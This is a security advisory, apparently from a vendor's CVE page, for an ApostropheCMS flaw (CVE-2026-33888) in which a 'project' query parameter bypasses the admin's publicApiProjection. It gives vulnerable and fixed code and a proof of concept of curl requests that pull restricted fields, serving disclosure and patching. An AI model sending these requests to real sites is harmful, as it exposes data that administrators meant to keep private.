CVE-2026-33888 is a medium-severity (CVSS 5.3) Information Exposure vulnerability in apostrophe. A fix is available for apostrophe — see the affected versions and patch details below.
ApostropheCMS: publicApiProjection Bypass via `project` Query Builder in Piece-Type REST API
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33888.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-33888 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
apostrophenpmDescription
Summary
The getRestQuery method in the @apostrophecms/piece-type module checks whether a MongoDB projection has already been set before applying the admin-configured publicApiProjection. An unauthenticated attacker can supply a project query parameter in the REST API request to pre-populate the projection state, causing the security-enforced publicApiProjection to be skipped entirely. This allows disclosure of fields that the site administrator explicitly restricted from public access.
Details
When an unauthenticated user queries the piece-type REST API, the getRestQuery method processes the request at modules/@apostrophecms/piece-type/index.js:1120:
// piece-type/index.js:1120-1137
getRestQuery(req, omitPermissionCheck = false) {
const query = self.find(req).attachments(true);
query.applyBuildersSafely(req.query); // [1] attacker input applied first
if (!omitPermissionCheck && !self.canAccessApi(req)) {
if (!self.options.publicApiProjection) {
query.and({
_id: null
});
} else if (!query.state.project) { // [2] checks if projection already set
query.project({
...self.options.publicApiProjection,
cacheInvalidatedAt: 1
});
}
}
return query;
},
At [1], applyBuildersSafely iterates over all query string parameters and invokes their corresponding builder methods. The project builder exists in @apostrophecms/doc-type with a launder method (doc-type/index.js:1876) that sanitizes values to booleans:
// doc-type/index.js:1875-1889
project: {
launder (p) {
if (!p || typeof p !== 'object' || Array.isArray(p)) {
return {};
}
const projection = Object.entries(p).reduce((acc, [ key, val ]) => {
return {
...acc,
[key]: self.apos.launder.boolean(val)
};
}, {});
return projection;
},
When a request includes ?project[someField]=1, the builder sets query.state.project to {someField: true}. At [2], the conditional !query.state.project evaluates to false because the state is already populated, so the publicApiProjection is never applied.
For comparison, the @apostrophecms/page module's equivalent method (page/index.js:2953) unconditionally applies the projection:
// page/index.js:2953-2958
} else {
query.project({
...self.options.publicApiProjection,
cacheInvalidatedAt: 1
});
}
PoC
Prerequisites: An ApostropheCMS 4.x instance with a piece-type (e.g., article) that has publicApiProjection configured to restrict fields. For example:
// modules/article/index.js
module.exports = {
extend: '@apostrophecms/piece-type',
options: {
publicApiProjection: {
title: 1,
_url: 1
}
}
};
Step 1: Normal request — observe restricted fields are hidden:
curl 'http://localhost:3000/api/v1/article'
Response returns only title and _url fields per the configured projection.
Step 2: Bypass projection by supplying project query parameter:
curl 'http://localhost:3000/api/v1/article?project[internalNotes]=1&project[title]=1&project[slug]=1&project[createdAt]=1'
Response now includes internalNotes, slug, createdAt, and any other requested fields — bypassing the admin-configured publicApiProjection restriction.
Step 3: Request all default fields by projecting inclusion of sensitive fields:
curl 'http://localhost:3000/api/v1/article?project[_id]=1&project[title]=1&project[slug]=1&project[visibility]=1&project[type]=1&project[createdAt]=1&project[updatedAt]=1'
All requested fields are returned, confirming the publicApiProjection is fully bypassed.
Impact
- Information Disclosure: An unauthenticated attacker can read any field on documents that are already publicly queryable, bypassing administrator-configured field restrictions. This may expose internal notes, draft content, metadata, or other sensitive fields the administrator intentionally hid from the public API.
- Scope: Affects all piece-type modules with
publicApiProjectionconfigured. The attacker cannot access documents they wouldn't otherwise be able to query (document-level permissions still apply), but they can read any field on accessible documents. - Exploitability: Trivial — requires only appending query parameters to a public URL. No authentication, special tools, or chaining required.
Recommended Fix
Remove the conditional check on query.state.project in piece-type/index.js, matching the page module's unconditional behavior. The admin-configured publicApiProjection should always override any user-supplied projection for unauthenticated users:
// modules/@apostrophecms/piece-type/index.js:1123-1134
// BEFORE (vulnerable):
if (!omitPermissionCheck && !self.canAccessApi(req)) {
if (!self.options.publicApiProjection) {
query.and({
_id: null
});
} else if (!query.state.project) {
query.project({
...self.options.publicApiProjection,
cacheInvalidatedAt: 1
});
}
}
// AFTER (fixed):
if (!omitPermissionCheck && !self.canAccessApi(req)) {
if (!self.options.publicApiProjection) {
query.and({
_id: null
});
} else {
query.project({
...self.options.publicApiProjection,
cacheInvalidatedAt: 1
});
}
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | apostrophe | all versions | 4.29.0npm install apostrophe@4.29.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for apostrophe, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update apostrophe to 4.29.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-33888 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-33888 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-33888. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-33888 in your dependencies?
O3 Security finds CVE-2026-33888 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.